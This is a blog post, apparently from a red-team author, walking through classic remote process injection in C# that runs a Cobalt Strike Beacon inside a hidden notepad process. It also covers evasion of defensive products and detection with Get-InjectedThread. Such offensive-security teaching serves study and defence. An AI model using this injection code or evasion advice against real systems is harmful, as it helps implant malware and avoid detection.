Exploring Process Injection OPSEC – Part 1

This is the first in a short series of posts designed to explore common (remote) process injection techniques and their OPSEC considerations. Each part will introduce a different technique that will address one or more “weaknesses” previously identified.

This post will analyse the most classical method of injection – the VirtualAllocEx/WriteProcessMemory/CreateRemoteThread pattern; and assumes the caller will spawn the process to inject into.

All code samples are written in .NET 5.

Memory Allocation

VirtualAllocEx will allocate a new region of memory in the target process.

// Spawn the target process
var target = new Process
{
    StartInfo = new ProcessStartInfo
    {
        FileName = @"C:\Windows\System32\notepad.exe",
        CreateNoWindow = true,
        WindowStyle = ProcessWindowStyle.Hidden
    }
};

target.Start();

// Read in the shellcode
var shellcode = File.ReadAllBytes(@"C:\Payloads\beacon.bin");

// Allocate a region of memory
var hMemory = Kernel32.VirtualAllocEx(
    target.Handle,
    IntPtr.Zero,
    shellcode.Length,
    Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE | Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT,
    Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READWRITE);

Console.WriteLine("Memory:  0x{0:X}", hMemory);

This will create a zero’d region, large enough to accommodate the shellcode, with RWX (read, write, execute) permissions. The API returns the address of the memory region.

Writing Shellcode

WriteProcessMemory writes the specified buffer into a region of memory. Logically, we write into the region just created. This API returns a boolean, which indicates whether the write was successful or not.

var success = Kernel32.WriteProcessMemory(
    target.Handle,
    hMemory,
    shellcode,
    shellcode.Length,
    out _);

Once the shellcode has been written, it can be seen in memory of the target process.

Executing Shellcode

CreateRemoteThread creates a new thread in the target process that will execute the shellcode. The start address of the thread will point to the region of memory holding the shellcode. This API returns a handle to the created thread.

var hThread = Kernel32.CreateRemoteThread(
    target.Handle,
    null,
    0,
    hMemory,
    IntPtr.Zero,
    Kernel32.CREATE_THREAD_FLAGS.RUN_IMMEDIATELY,
    out _);

This returns a Beacon running within the target process.

OPSEC

RWX

The first aspect many may point out is the initial memory allocation of RWX, which can be somewhat a red flag for defensive products. You are able to initially allocate it as RW, write the shellcode, and then use VirtualProtectEx to make it RX before calling CreateRemoteThread. This works perfectly well for “normal” shellcode such as Beacon, but not for “encoded” shellcode that frameworks such as Metasploit are known for (such as shikata_ga_nai). This is because these shellcode contain a stub which decodes itself in memory and this coding process required write and execute permissions, which leads us back to RWX.

The Cobalt Strike reflective loader also has some additional options that can be specified in the Malleable C2 profile, such as userwx and cleanup. When set to false, userwx will tell the loader not to allocate itself new RWX memory (it will opt for RX); and when cleanup is set to true, the loader will free the allocated memory used to load itself.

R(W)X region not backed by module

If you further inspect the memory regions in the target process, you will see that every RX region is backed by a module on disk, with the obvious exception of the region containing shellcode. If you used RWX, then it will likely be the only RWX in the entire process.

This is because, “normal” behaviour is for a process to load a DLL from on disk (probably from within System32) and this style of reflective DLL injection does not lead back to a DLL on disk.

Thread to Nowhere

Inspecting the running threads in the process also reveals a running thread that is not backed by a module on disk, and is consequently not pointing to an exported function with a module.

Thanks to these indicators, this injection is easy to discover – demonstrated with Jared Atkinson’s Get-InjectedThread script:

PS C:\Users\Rasta> Get-InjectedThread
Name                           Value
----                           -----
KernelPath                     C:\Windows\System32\notepad.exe
PathMismatch                   False
AuthenticationPackage
AllocatedMemoryProtection      PAGE_READWRITE
UserName                       \
BaseAddress                    2120897789952
IsUniqueThreadToken            False
CommandLine                    "C:\Windows\System32\notepad.exe"
Size                           4096
ThreadId                       4524
Integrity                      MEDIUM_MANDATORY_LEVEL
SecurityIdentifier             S-1-5-21-3309307143-4008523374-2967785533-1001
MemoryProtection               PAGE_READWRITE
LogonType
ProcessName                    notepad.exe
ProcessId                      9256
MemoryState                    MEM_COMMIT
LogonId
LogonSessionStartTime
Path                           C:\Windows\System32\notepad.exe
BasePriority                   8
MemoryType                     MEM_MAPPED
Privilege                      SeChangeNotifyPrivilege

We can see it correctly identified the thread running Beacon – 4524.

In conclusion, this style of injection isn’t good for much other than getting caught. Maybe we can do better in Part 2…

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...